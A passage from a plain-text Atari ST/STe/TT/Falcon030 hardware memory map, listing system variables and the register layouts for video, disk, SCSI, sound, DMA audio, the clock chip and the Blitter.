|Pointer to buffer control block for GEMDOS fat/dir |_bufl +$0004BA|long |Counter for 200hz system clock |_hz_200 +$0004BC|long |Pointer to default environment string |the_env +$0004C2|long |Bit allocation for physical drives (bit 0=A, 1=B..) |_drvbits +$0004C6|long |Pointer to 1024-byte disk buffer |_dskbufp +$0004CA|long |Pointer to autoexecute path |_autopath +$0004CE|long |Pointer to VBL routine #1 |_vbl_lis + : | : | : : : : : | : +$0004EA|long |Pointer to VBL routine #8 |_vbl_lis +$0004EE|word |Flag for screen -> printer dump |_dumpflg +$0004F0|word |Printer abort flag |_prtabt +$0004F2|long |Pointer to start of OS |_sysbase +$0004F6|long |Global shell pointer |_shell_p +$0004FA|long |Pointer to end of OS |end_os +$0004FE|long |Pointer to entry point of OS |exec_os +$000502|long |Pointer to screen dump routine |scr_dump +$000506|long |Pointer to _lstostat() |prv_lsto +$00050A|long |Pointer to _lstout() |prv_lst +$00050E|long |Pointer to _auxostat() |prv_auxo +$000512|long |Pointer to _auxout() |prv_aux +$000516|long |If AHDI, pointer to pun_info |pun_ptr +$00051A|long |If $5555AAAA, reset |memval3 +$00051E|long |8 Pointers to input-status routines |xconstat +$00053E|long |8 Pointers to input routines |xconin +$00055E|long |8 Pointers to output-status routines |xcostat +$00057E|long |8 Pointers to output routines |xconout +$00059E|word |If not 0, then not 68000 - use long stack frames |_longframe +$0005A0|long |Pointer to cookie jar |_p_cookies +$0005A4|long |Pointer to end of FastRam |ramtop +$0005A8|long |Validates ramtop if $1357BD13 |ramvalid +$0005AC|long |Pointer to routine for system bell |bell_hook +$0005B0|long |Pointer to routine for system keyclick |kcl_hook +-------+-----+-----------------------------------------------------+---------- + +Address Size Description Bits used Read/Write +-------+-----+-----------------------------------------------------+---------- +##############OS ROMs ########### +-------+-----+-----------------------------------------------------+---------- +$E00000|byte |TOS 512k ROMs |R + : | : | : : : |: +$EFFFFF|byte |TOS 512k ROMs |R +-------+-----+-----------------------------------------------------+---------- +##############ADSPEED Configuration registers ########### +-------+-----+-----------------------------------------------------+---------- +$F00000|byte |Switch to 16 Mhz |W +$F10000|byte |Switch to 8 Mhz |W +$F20000|byte |Turn on high speed ROM option in 16 Mhz |W +$F30000|byte |Turn off high speed ROM option |W +$F40000|byte |Unknown |W +$F50000|byte |Turn off cache while in 16 Mhz |W + | | >> Write 0 to an address to set it. << | +-------+-----+-----------------------------------------------------+---------- +##############IDE Controller (Falcon, ST-Book, IDE cards) ########### +-------+-----+-----------------------------------------------------+---------- +$F00000|long |Data Register |R/W +$F00005|byte |Error Register BIT 7 6 5 4 3 2 1 0|R + | |Bad block mark -----------------------' | | | | | | || + | |Uncorrectable error --------------------' | | | | | || + | |Media change -----------------------------' | | | | || + | |ID-Field not found -------------------------' | | | || + | |Media change requested -----------------------' | | || + | |Command aborted --------------------------------' | || + | |Track 0 not found --------------------------------' || + | |DAM not found --------------------------------------'| +$F00009|byte |Sector Count Register |W +$F0000D|byte |Sector Number Register |W +$F00011|byte |Cylinder Low Register |W +$F00015|byte |Cylinder High Register |W +$F00019|byte |Drive Head Register |W +$F0001D|byte |Status Register |R +$F0001D|byte |Command Register |W +$F00039|byte |Alternate Status Register |R +$F00039|byte |Data Output Register |W +-------+-----+-----------------------------------------------------+---------- +##############ST MMU Controller ########### +-------+-----+-----------------------------------------------------+---------- +$FF8001|byte |MMU memory configuration BIT 3 2 1 0|R/W + | |Bank 0 | | | || + | |00 - 128k ------------------------------------+-+ | || + | |01 - 512k ------------------------------------+-+ | || + | |10 - 2m --------------------------------------+-+ | || + | |11 - reserved --------------------------------+-' | || + | |Bank 1 | || + | |00 - 128k ----------------------------------------+-+| + | |01 - 512k ----------------------------------------+-+| + | |10 - 2m ------------------------------------------+-+| + | |11 - reserved ------------------------------------+-'| +-------+-----+-----------------------------------------------------+---------- +##############Falcon030 Processor Control ########### +-------+-----+-----------------------------------------------------+---------- +$FF8007|byte |Falcon Bus Control BIT 5 . . 2 . 0|R/W (F030) + | |STe Bus Emulation (0 - on) ---------------' | || + | |Blitter (0 - 8mhz, 1 - 16mhz) ------------------' || + | |68030 (0 - 8mhz, 1 - 16mhz) ------------------------'| +-------+-----+-----------------------------------------------------+---------- +##############SHIFTER Video Controller ########### +-------+-----+-----------------------------------------------------+---------- +$FF8201|byte |Video screen memory position (High byte) |R/W +$FF8203|byte |Video screen memory position (Mid byte) |R/W +$FF820D|byte |Video screen memory position (Low byte) |R/W (STe) +$FF8205|byte |Video address pointer (High byte) |R +$FF8207|byte |Video address pointer (Mid byte) |R +$FF8209|byte |Video address pointer (Low byte) |R +$FF820E|word |Offset to next line |R/W (F030) +$FF820F|byte |Width of a scanline (width in words-1) |R/W (STe) +$FF8210|word |Width of a scanline (width in words) |R/W (F030) +$FF8265|byte |Horizontal scroll register (0-15) |R/W (STe) +-------+-----+-----------------------------------------------------+---------- +$FF820A|byte |Video synchronization mode BIT 1 0|R/W + | |0 - 60hz, 1 - 50hz -------------------------------+ || + | |0 - internal, 1 - external sync ------------------' || (TT) + | |0 - internal, 1 - external sync --------------------'| (!TT) +-------+-----+-----------------------------------------------------+---------- + | | BIT 11111198 76543210| + | | 543210 | + | | ST color value .....RRr .GGr.BBb| + | | STe color value ....rRRR gGGGbBBB| +$FF8240|word |Video palette register 0 Lowercase = LSB|R/W + : | : | : : : : | : +$FF825E|word |Video palette register 15 |R/W +-------+-----+-----------------------------------------------------+---------- +$FF8260|byte |Shifter resolution BIT 1 0|R/W + | |00 320x200x4 bitplanes (16 colors) ---------------+-+| + | |01 640x200x2 bitplanes (4 colors) ----------------+-+| + | |10 640x400x1 bitplane (1 colors) ----------------+-'| +$FF8262|word |TT Shifter resolution BIT 15 . . 12|R/W (TT) + | |Sample/Hold mode ----------------------------' || + | |Hypermono mode -------------------------------------'| + | |Video Mode BIT 10 9 8| + | |000 320x200x4 bitplanes (16 colors) -----------+-+-+| + | |001 640x200x2 bitplanes (4 colors) ------------+-+-+| + | |010 640x400x1 bitplane (2 colors)(Duochrome) -+-+-+| + | |100 640x480x4 bitplanes (16 colors) -----------+-+-+| + | |110 1280x960x1 bitplane (2 colors) ------------+-+-+| + | |111 320x480x8 bitplanes (256 colors) ----------+-+-'| + | |ST Palette Bank BIT 3 2 1 0| +-------+-----+-----------------------------------------------------+---------- +$FF827E|???? |STACY Display Driver |???(STACY) +-------+-----+-----------------------------------------------------+---------- + | | BIT 11111198 76543210| + | | 543210 | + | | TT color value ....RRRr GGGgBBBb| +$FF8400|word |TT Palette 0 Lowercase = LSB|R/W (TT) + : | : | : : : | : : +$FF85FE|word |TT Palette 255 |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +##############Falcon030 VIDEL Video Controller ########### +-------+-----+-----------------------------------------------------+---------- +$FF8006|byte |Monitor Type BIT 1 0|R (F030) + | |00 - Monochrome (SM124) --------------------------+-+| + | |01 - Color (SC1224) ------------------------------+-+| + | |10 - VGA Color -----------------------------------+-+| + | |11 - Television ----------------------------------+-'| +$FF820E|word |Offset to next line |R/W (F030) +$FF8210|word |VWRAP - Linewidth in words |R/W (F030) +$FF8266|word |SPSHIFT BIT 10 . 8 . 6 5 4 3 2 1 0|R/W (F030) + | |2-colour mode ------------------' | | | | | | | || + | |Truecolour mode --------------------' | | | | | | || + | |Use external hsync ---------------------' | | | | | || + | |Use external vsync -----------------------' | | | | || + | |8 Bitplane mode ----------------------------' | | | || + | |? Bitplane mode ------------------------------' | | || + | |? Bitplane mode --------------------------------' | || + | |? Bitplane mode ----------------------------------' || + | |? Bitplane mode ------------------------------------'| + | +-----------------------------------------------------+ + | | Horizontal Control Registers (9bit)| +$FF8280|word |HHC - Horizontal Hold Counter |R (F030) +$FF8282|word |HHT - Horizontal Hold Timer |R/W (F030) +$FF8284|word |HBB - Horizontal Border Begin |R/W (F030) +$FF8286|word |HBE - Horizontal Border End |R/W (F030) +$FF8288|word |HDB - Horizontal Display Begin |R/W (F030) +$FF828A|word |HDE - Horizontal Display End |R/W (F030) +$FF828C|word |HSS - Horizontal SS |R/W (F030) +$FF828E|word |HFS - Horizontal FS |R/W (F030) +$FF8290|word |HEE - Horizontal EE |R/W (F030) + | +-----------------------------------------------------+ + | | Vertical Control Registers (10bit)| +$FF82A0|word |VFC - Vertcial Frequency Counter |R (F030) +$FF82A2|word |VFT - Vertical Frequency Timer |R/W (F030) +$FF82A4|word |VBB - Vertical Border Begin (count in 1/2 lines)|R/W (F030) +$FF82A6|word |VBE - Vertical Border End (count in 1/2 lines)|R/W (F030) +$FF82A8|word |VDB - Vertical Display Begin |R/W (F030) +$FF82AA|word |VDE - Vertical Display End |R/W (F030) +$FF82AC|word |VSS - Vertical SS |R/W (F030) + | +-----------------------------------------------------+ +$FF82C0|word |??? - Video Clock (?) (Super78 puts $182 here) |R/W (F030) +$FF82C2|word |VCO - Video Control BIT 3 2 1 0|R/W (F030) + | |Quarter pixel width (quadruple pixels) -------' | | || + | |Half pixel width (double pixels) ---------------' | || + | |Skip line (interlace) ----------------------------' || + | |Line doubling --------------------------------------'| +-------+-----+-----------------------------------------------------+---------- +##############DMA/WD1772 Disk controller ########### +-------+-----+-----------------------------------------------------+---------- +$FF8600| |Reserved | +$FF8602| |Reserved | +$FF8604|word |FDC access/sector count |R/W +$FF8606|word |DMA mode/status BIT 2 1 0|R + | |Condition of FDC DATA REQUEST signal -----------' | || + | |0 - sector count null,1 - not null ---------------' || + | |0 - no error, 1 - DMA error ------------------------'| +$FF8606|word |DMA mode/status BIT 8 7 6 . 4 3 2 1 .|W + | |0 - read FDC/HDC,1 - write ---------' | | | | | | | | + | |0 - HDC access,1 - FDC access --------' | | | | | | | + | |0 - DMA on,1 - no DMA ------------------' | | | | | | + | |Reserved ---------------------------------' | | | | | + | |0 - FDC reg,1 - sector count reg -----------' | | | | + | |0 - FDC access,1 - HDC access ----------------' | | | + | |0 - pin A1 low, 1 - pin A1 high ----------------' | | + | |0 - pin A0 low, 1 - pin A0 high ------------------' | +$FF8609|byte |DMA base and counter (High byte) |R/W +$FF860B|byte |DMA base and counter (Mid byte) |R/W +$FF860D|byte |DMA base and counter (Low byte) |R/W +-------+-----+-----------------------------------------------------+---------- +##############TT-SCSI DMA Controller ########### +-------+-----+-----------------------------------------------------+---------- +$FF8701|byte |DMA Address Pointer (Highest byte) |R/W (TT) +$FF8703|byte |DMA Address Pointer (High byte) |R/W (TT) +$FF8705|byte |DMA Address Pointer (Low byte) |R/W (TT) +$FF8707|byte |DMA Address Pointer (Lowest byte) |R/W (TT) +$FF8709|byte |DMA Byte Count (Highest byte) |R/W (TT) +$FF870B|byte |DMA Byte Count (High byte) |R/W (TT) +$FF870D|byte |DMA Byte Count (Low byte) |R/W (TT) +$FF870F|byte |DMA Byte Count (Lowest byte) |R/W (TT) +$FF8710|word |Residue Data Register (High Word) |R (TT) +$FF8712|word |Residue Data Register (Low Word) |R (TT) +$FF8715|byte |Control register BIT 7 6 . . . . 1 0|R/W (TT) + | |Bus error ----------------------------' | | || + | |Byte count zero ------------------------' | || + | |Enable -------------------------------------------' || + | |DMA Direction (1 - out to port) --------------------'| +-------+-----+-----------------------------------------------------+---------- +##############TT-SCSI Drive Controller NCR 5380 ########### +-------+-----+-----------------------------------------------------+---------- +$FF8781|byte |Data register |R/W (TT) +$FF8783|byte |Init-Command Register |R/W (TT) +$FF8785|byte |Mode Register |R/W (TT) +$FF8787|byte |Target-Command Register |R/W (TT) +$FF8789|byte |ID Select/SCSI Control Register |R/W (TT) +$FF878B|byte |Status Register |R/W (TT) +$FF878D|byte |Target Receive/Input Data |R/W (TT) +$FF878F|byte |Initiate Receive/Reset |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +##############YM2149 Sound Chip ########### +-------+-----+-----------------------------------------------------+---------- +$FF8800|byte |Read data/Register select |R/W + | |0 Channel A Freq Low BIT 7 6 5 4 3 2 1 0| + | |1 Channel A Freq High BIT 3 2 1 0| + | |2 Channel B Freq Low BIT 7 6 5 4 3 2 1 0| + | |3 Channel B Freq High BIT 3 2 1 0| + | |4 Channel C Freq Low BIT 7 6 5 4 3 2 1 0| + | |5 Channel C Freq High BIT 3 2 1 0| + | |6 Noise Freq BIT 5 4 3 2 1 0| + | |7 Mixer Control BIT 7 6 5 4 3 2 1 0| + | | Port B IN/OUT (1=Output) -----------' | | | | | | || + | | Port A IN/OUT ------------------------' | | | | | || + | | Channel C Noise (1=Off) ----------------' | | | | || + | | Channel B Noise --------------------------' | | | || + | | Channel A Noise ----------------------------' | | || + | | Channel C Tone (0=On) ------------------------' | || + | | Channel B Tone ---------------------------------' || + | | Channel A Tone -----------------------------------'| + | |8 Channel A Amplitude Control BIT 4 3 2 1 0| + | | Fixed/Variable Level (0=Fixed) -----------' | | | || + | | Amplitude level control --------------------+-+-+-'| + | |9 Channel B Amplitude Control BIT 4 3 2 1 0| + | | Fixed/Variable Level ---------------------' | | | || + | | Amplitude level control --------------------+-+-+-'| + | |10 Channel C Amplitude Control BIT 4 3 2 1 0| + | | Fixed/Variable Level ---------------------' | | | || + | | Amplitude level control --------------------+-+-+-'| + | |11 Envelope Period High BIT 7 6 5 4 3 2 1 0| + | |12 Envelope Period Low BIT 7 6 5 4 3 2 1 0| + | |13 Envelope Shape BIT 3 2 1 0| + | | Continue -----------------------------------' | | || + | | Attack ---------------------------------------' | || + | | Alternate --------------------------------------' || + | | Hold ---------------------------------------------'| + | | 00xx - \____________________________________ | + | | 01xx - /|___________________________________ | + | | 1000 - \|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\|\ | + | | 1001 - \____________________________________ | + | | 1010 - \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ | + | | 1011 - \|----------------------------------- | + | | 1100 - /|/|/|/|/|/|/|/|/|/|/|/|/|/|/|/|/|/|/ | + | | 1101 - /------------------------------------ | + | | 1110 - /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ | + | | 1111 - /|___________________________________ | + | |14 Port A BIT 7 6 5 4 3 2 1 0| + | | IDE Drive On/OFF -------------------+ | | | | | | || (F030) + | | SCC A (0=LAN, 1=Serial2) -----------' | | | | | | || (TT) + | | Monitor jack GPO pin -----------------+ | | | | | || + | | Internal Speaker On/Off --------------' | | | | | || (F030) + | | Centronics strobe ----------------------' | | | | || + | | RS-232 DTR output ------------------------' | | | || + | | RS-232 RTS output --------------------------' | | || + | | Drive select 1 -------------------------------' | || + | | Drive select 0 ---------------------------------' || + | | Drive side select --------------------------------'| + | |15 Port B (Parallel port) | +$FF8802|byte |Write data |W + | +-----------------------------------------------------+ + | |Note: PSG Registers are now fixed at these addresses.| + | |All other addresses are masked out on the Falcon. Any| + | |writes to the shadow registers $8804-$88FF will cause| + | |bus errors. Game/Demo coders beware! | +-------+-----+-----------------------------------------------------+---------- +##############DMA Sound System ########### +-------+-----+-----------------------------------------------------+---------- +$FF8900|byte |Buffer interrupts BIT 3 2 1 0|R/W (F030) + | |TimerA-Int at end of record buffer -----------' | | || + | |TimerA-Int at end of replay buffer -------------' | || + | |MFP-15-Int (I7) at end of record buffer ----------' || + | |MFP-15-Int (I7) at end of replay buffer ------------'| +-------+-----+-----------------------------------------------------+---------- +$FF8901|byte |DMA Control Register BIT 7 . 5 4 . . 1 0|R/W + | |1 - select record register -----------+ | | | || (F030) + | |0 - select replay register -----------' | | | || (F030) + | |Loop record buffer -----------------------' | | || (F030) + | |DMA Record on ------------------------------' | || (F030) + | |Loop replay buffer -------------------------------' || (STe) + | |DMA Replay on --------------------------------------'| (STe) +-------+-----+-----------------------------------------------------+---------- +$FF8903|byte |Frame start address (high byte) |R/W (STe) +$FF8905|byte |Frame start address (mid byte) |R/W (STe) +$FF8907|byte |Frame start address (low byte) |R/W (STe) +$FF8909|byte |Frame address counter (high byte) |R (STe) +$FF890B|byte |Frame address counter (mid byte) |R (STe) +$FF890D|byte |Frame address counter (low byte) |R (STe) +$FF890F|byte |Frame end address (high byte) |R/W (STe) +$FF8911|byte |Frame end address (mid byte) |R/W (STe) +$FF8913|byte |Frame end address (low byte) |R/W (STe) +-------+-----+-----------------------------------------------------+---------- +$FF8920|byte |DMA Track Control BIT 5 4 . . 1 0|R/W (F030) + | |00 - Set DAC to Track 0 ------------------+-+ | || + | |01 - Set DAC to Track 1 ------------------+-+ | || + | |10 - Set DAC to Track 2 ------------------+-+ | || + | |11 - Set DAC to Track 3 ------------------+-' | || + | |00 - Play 1 Track --------------------------------+-+| + | |01 - Play 2 Tracks -------------------------------+-+| + | |10 - Play 3 Tracks -------------------------------+-+| + | |11 - Play 4 Tracks -------------------------------+-'| +-------+-----+-----------------------------------------------------+---------- +$FF8921|byte |Sound mode control BIT 7 6 . . . . 1 0|R/W (STe) + | |0 - Stereo, 1 - Mono -----------------' | | || + | |0 - 8bit -------------------------------+ | || + | |1 - 16bit (F030 only) ------------------' | || (F030) + | |Frequency control bits | || + | |00 - Off (F030 only) -----------------------------+-+| (F030) + | |00 - 6258hz frequency (STe only) -----------------+-+| + | |01 - 12517hz frequency ---------------------------+-+| + | |10 - 25033hz frequency ---------------------------+-+| + | |11 - 50066hz frequency ---------------------------+-'| + | |Samples are always signed. In stereo mode, data is | + | |arranged in pairs with high pair the left channel,low| + | |pair right channel. Sample length MUST be even in | + | |either mono or stereo mode. | + | |Example: 8 bit Stereo : LRLRLRLRLRLRLRLR | + | | 16 bit Stereo : LLRRLLRRLLRRLLRR (F030) | + | |2 track 16 bit stereo : LLRRllrrLLRRllrr (F030) | +-------+-----+-----------------------------------------------------+---------- +##############STe Microwire Controller (STe/TT only!) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8922|byte |Microwire data register |R/W (Mwr) +$FF8924|byte |Microwire mask register |R/W (Mwr) + | +-----------------------------------------------------+ + | |!! ATTENTION !! Microwire is now obsolete! It is not | + | |present in the Falcon030 and is unlikely to be in any| + | |future machines. You have been warned. | + | +-----------------------------------------------------+ + | |Volume/tone controller commands (Address %10)| + | |Master Volume 10 011 DDDDDD| + | |Left Volume 10 101 .DDDDD| + | |Right Volume 10 100 .DDDDD| + | |Treble 10 010 ..DDDD| + | |Bass 10 001 ..DDDD| + | |Mixer 10 000 ....DD| + | +-----------------------------------------------------+ + | |Volume/tone controller values | + | |Master Volume : 0-40 (0 -80dB, 40=0dB) | + | |Left/Right Volume : 0-20 (0 80dB, 20=0dB) | + | |Treble/bass : 0-12 (0 -12dB, 12 +12dB) | + | |Mixer : 0-3 (0 -12dB, 1 mix PSG) | + | | (2 don't mix,3 reserved) | + | +-----------------------------------------------------+ + | |Procedure: Set mask register to $7ff. Read data | + | |register and save original value.Write data register.| + | |Compare data register with original value, repeat | + | |until data register returns to original value to | + | |ensure data has been sent over the interface. | + | +-----------------------------------------------------+ + | |Interrupts: Timer A can be set to interrupt at the | + | |end of a frame. Alternatively, the GPI7 (MFP mono | + | |detect) can be used to generate interrupts thereby | + | |freeing up Timer A. In this case, the active edge | + | |$FFFA03 must be set by or-ing the active edge of | + | |$FFFA03 with the contents of $FF8260: | + | |$FF8260 - 2 (mono) or.b #$80 with edge | + | |$FF8260 - 0,1 (colour) and.b #$7F with edge | + | |This will generate an interrupt at the START of a | + | |frame, instead of at the end as with Timer A. To | + | |generate an interrupt at the END of a frame, simply | + | |reverse the edge values. | +-------+-----+-----------------------------------------------------+---------- +##############Falcon030 DMA/DSP Controllers ########### +-------+-----+-----------------------------------------------------+---------- +$FF8930|word |Crossbar Source Controller |R/W (F030) + | +-----------------------------------------------------+ + | |Source: A/D Convertor BIT 15 14 13 12| + | |1 - Connect, 0 - disconnect ---------------' | | || + | |00 - 25.175Mhz clock -------------------------+--+ || + | |01 - External clock --------------------------+--+ || + | |10 - 32Mhz clock (Don't use) -----------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Source: External Input BIT 11 10 9 8| + | |0 - DSP IN, 1 - All others ----------------' | | || + | |00 - 25.175Mhz clock -------------------------+--+ || + | |01 - External clock --------------------------+--+ || + | |10 - 32Mhz clock -----------------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Source: DSP-XMIT BIT 7 6 5 4| + | |0 - Tristate and disconnect DSP -----------+ | | || + | | (Only for external SSI use) | | | || + | |1 - Connect DSP to multiplexer ------------' | | || + | |00 - 25.175Mhz clock -------------------------+--+ || + | |01 - External clock --------------------------+--+ || + | |10 - 32Mhz clock -----------------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Source: DMA-PLAYBACK BIT 3 2 1 0| + | |0 - Handshaking on, dest DSP-REC ----------+ | | || + | |1 - Destination is not DSP-REC ------------' | | || + | |00 - 25.175Mhz clock -------------------------+--+ || + | |01 - External clock --------------------------+--+ || + | |10 - 32Mhz clock -----------------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| +-------+-----+-----------------------------------------------------+---------- +$FF8932|word |Crossbar Destination Controller |R/W (F030) + | +-----------------------------------------------------+ + | |Destination: D/A Convertor BIT 15 14 13 12| + | |1 - Connect, 0 - Disconnect ---------------' | | || + | |00 - Source DMA-PLAYBACK ---------------------+--+ || + | |01 - Source DSP-XMIT -------------------------+--+ || + | |10 - Source External Input -------------------+--+ || + | |11 - Source A/D Convertor --------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Destination: External Output BIT 11 10 9 8| + | |0 - DSP out, 1 - All others ---------------' | | || + | |00 - Source DMA-PLAYBACK ---------------------+--+ || + | |01 - Source DSP-XMIT -------------------------+--+ || + | |10 - Source External Input -------------------+--+ || + | |11 - Source A/D Convertor --------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Destination: DSP-RECORD BIT 7 6 5 4| + | |0 - Tristate and disconnect DSP -----------+ | | || + | | (Only for external SSI use) | | | || + | |1 - Connect DSP to multiplexer ------------' | | || + | |00 - Source DMA-PLAYBACK ---------------------+--+ || + | |01 - Source DSP-XMIT -------------------------+--+ || + | |10 - Source External Input -------------------+--+ || + | |11 - Source A/D Convertor --------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| + | +-----------------------------------------------------+ + | |Destination: DMA-RECORD BIT 3 2 1 0| + | |0 - Handshaking on, src DSP-XMIT ----------+ | | || + | |1 - Source is not DSP-XMIT ----------------' | | || + | |00 - Source DMA-PLAYBACK ---------------------+--+ || + | |01 - Source DSP-XMIT -------------------------+--+ || + | |10 - Source External Input -------------------+--+ || + | |11 - Source A/D Convertor --------------------+--' || + | |0 - Handshake on, 1 - Handshake off ----------------'| +-------+-----+-----------------------------------------------------+---------- +$FF8934|byte |Frequency Divider External Clock BIT 3 2 1 0|R/W (F030) + | |0000 - STe-Compatible mode | + | |0001 - 1111 Divide by 256 and then number | +-------+-----+-----------------------------------------------------+---------- +$FF8935|byte |Frequency Divider Internal Sync BIT 3 2 1 0|R/W (F030) + | |0000 - STe-Compatible mode 1000 - 10927Hz* | + | |0001 - 49170Hz 1001 - 9834Hz | + | |0010 - 32780Hz 1010 - 8940Hz* | + | |0011 - 24585Hz 1011 - 8195Hz | + | |0100 - 19668Hz 1100 - 7565Hz* | + | |0101 - 16390Hz 1101 - 7024Hz* | + | |0110 - 14049Hz* 1110 - 6556Hz* | + | |0111 - 12292Hz 1111 - 6146Hz* | + | | * - Invalid for CODEC | +-------+-----+-----------------------------------------------------+---------- +$FF8936|byte |Record Tracks Select BIT 1 0|R/W (F030) + | |00 - Record 1 Track ------------------------------+-+| + | |01 - Record 2 Tracks -----------------------------+-+| + | |10 - Record 3 Tracks -----------------------------+-+| + | |11 - Record 4 Tracks -----------------------------+-'| +-------+-----+-----------------------------------------------------+---------- +$FF8937|byte |CODEC Input Source from 16bit adder BIT 1 0|R/W (F030) + | |Source: Multiplexer ------------------------------' || + | |Source: A/D Convertor ------------------------------'| +-------+-----+-----------------------------------------------------+---------- +$FF8938|byte |CODEC ADC-Input for L+R Channel BIT 1 0|R/W (F030) + | |0 - Microphone, 1 - Soundchip L R| +-------+-----+-----------------------------------------------------+---------- +$FF8939|byte |Channel amplification BIT LLLL RRRR|R/W (F030) + | | Amplification is in +1.5dB steps | +-------+-----+-----------------------------------------------------+---------- +$FF893A|word |Channel attenuation BIT LLLL RRRR|R/W (F030) + | | Attenuation is in -1.5dB steps | +-------+-----+-----------------------------------------------------+---------- +$FF893C|byte |CODEC-Status BIT 1 0|R/W (F030) + | |Left Channel Overflow ----------------------------' || + | |Right Channel Overflow -----------------------------'| +-------+-----+-----------------------------------------------------+---------- +$FF8941|byte |GPx Data Direction BIT 2 1 0|R/W (F030) + | |0 - In, 1 - Out --------------------------------+-+-'| + | | For the GP0-GP2 pins on the DSP connector | +-------+-----+-----------------------------------------------------+---------- +$FF8943|byte |GPx Data Port BIT 2 1 0|R/W (F030) +-------+-----+-----------------------------------------------------+---------- +##############TT Clock Chip (MC146818A @ 32.768 khz) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8961|byte |Register select |W (TT) + | |0 - Current Second | + | |1 - Second for alarm | + | |2 - Current Minute | + | |3 - Minute for alarm | + | |4 - Current Hour | + | |5 - Hour for alarm | + | |6 - Day of week (1=Sunday, 2=Monday, 3=...) | + | |7 - Day of Month | + | |8 - Month | + | |9 - Year (example : '93' for this year) | + | |A BIT 7| + | | If set, update time in progress ----------------'| + | | don't read time & date registers | + | |B BIT 7 6 5 4 3 2 1 0| + | |1 = Write Protect time & date --------' | | | | || + | |1 = Enable alarm interrupt ---------------' | | | || + | |1 = Interrupt after time updated -----------' | | || + | |1 = Format Binary, 0 = Format BCD --------------' | || + | |1 = 24hr format, 0 = 12hr format -----------------' || + | |1 = Summer hours, 0 = Winter hours -----------------'| + | |C BIT 6 5 4| + | | ??? -------------------------------------------' | || + | |1 = alarm is ringing -----------------------------' || + | |1 = date is updated --------------------------------'| + | |On interrupt, read this register to determine source.| + | |D BIT 7| + | |1 = Battery dead -----------------------------------'| +$FF8963|byte |Register data |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +##############Blitter (Not present on TT!) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8A00|word |Halftone-RAM, Word 0 |R/W (Blit) + : | : | : : : : | : : +$FF8A1E|word |Halftone-RAM, Word 15 |R/W (Blit) +$FF8A20|word |Source X Increment (signed,even)|R/W (Blit) +$FF8A22|word |Source Y Increment (signed,even)|R/W (Blit) +$FF8A24|long |Source Address Register (24 bit,even)|R/W (Blit) +$FF8A28|word |Endmask 1 (First write of a line)|R/W (Blit) +$FF8A2A|word |Endmask 2 (All other line writes)|R/W (Blit) +$FF8A2C|word |Endmask 3 (Last write of a line)|R/W (Blit) +$FF8A2E|word |Destination X Increment (signed,even)|R/W (Blit) +$FF8A30|word |Destination Y Increment (signed,even)|R/W (Blit) +$FF8A32|long |Destination Address Register (24 bit,even)|R/W (Blit) +$FF8A36|word |Words per Line in Bit-Block (0=65536)|R/W (Blit) +$FF8A38|word |Lines per Bit-Block (0=65536)|R/W (Blit) +$FF8A3A|byte |Halftone Operation Register BIT 1 0|R/W (Blit) + | |00 - All ones ------------------------------------+-+| + | |01 - Halftone ------------------------------------+-+| + | |10 - Source --------------------------------------+-+| + | |11 - Source AND Halftone -------------------------+-'| +$FF8A3B|byte |Logical Operation Register BIT 3 2 1 0|R/W (Blit) + | |0000 All zeros -------------------------------+-+-+-+| + | |0001 Source AND destination ------------------+-+-+-+| + | |0010 Source AND NOT destination --------------+-+-+-+| + | |0011 Source ----------------------------------+-+-+-+| + | |0100 NOT source AND destination --------------+-+-+-+| + | |0101 Destination -----------------------------+-+-+-+| + | |0110 Source XOR destination ------------------+-+-+-+| + | |0111 Source OR destination -------------------+-+-+-+| + | |1000 NOT source AND NOT destination ----------+-+-+-+| + | |1001 NOT source XOR destination --------------+-+-+-+| + | |1010 NOT destination -------------------------+-+-+-+| + | |1011 Source OR NOT destination ---------------+-+-+-+| + | |1100 NOT source ------------------------------+-+-+-+| + | |1101 NOT source OR destination ---------------+-+-+-+| + | |1110 NOT source OR NOT destination -----------+-+-+-+| + | |1111 All ones --------------------------------+-+-+-'| +$FF8A3C|byte |Line Number Register BIT 7 6 5 . 3 2 1 0|R/W (Blit) + | |BUSY ---------------------------------' | | | | | || + | |0 - Share bus, 1 - Hog bus -------------' | | | | || + | |SMUDGE mode ------------------------------' | | | || + | |Halftone line number -------------------------+-+-+-'| +$FF8A3D|byte |SKEW Register BIT 7 6 . . 3 2 1 0|R/W (Blit) + | |Force eXtra Source Read --------------' | | | | || + | |No Final Source Read -------------------' | | | || + | |Source skew ----------------------------------+-+-+-'| +-------+-----+-----------------------------------------------------+---------- +##############SCC-DMA (TT Only!) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8C01|byte |DMA Address Pointer (Highest Byte) |R/W (TT) +$FF8C03|byte |DMA Address Pointer (High Byte) |R/W (TT) +$FF8C05|byte |DMA Address Pointer (Low Byte) |R/W (TT) +$FF8C07|byte |DMA Address Pointer (Lowest Byte) |R/W (TT) +$FF8C09|byte |DMA Byte Count (Highest-Byte) |R/W (TT) +$FF8C0B|byte |DMA Byte Count (High-Byte) |R/W (TT) +$FF8C0D|byte |DMA Byte Count (Low-Byte) |R/W (TT) +$FF8C0F|byte |DMA Byte Count (Lowest-Byte) |R/W (TT) +$FF8C10|word |Residue Data Register (High-Word) |R (TT) +$FF8C12|word |Residue Data register (Low-Word) |R (TT) +$FF8C15|byte |Control register BIT 7 6 . . . . 1 0|R/W (TT) + | |Bus error ----------------------------' | | || + | |Byte count zero ------------------------' | || + | |Enable -------------------------------------------' || + | |DMA Direction (1 - out to port) --------------------'| +-------+-----+-----------------------------------------------------+---------- 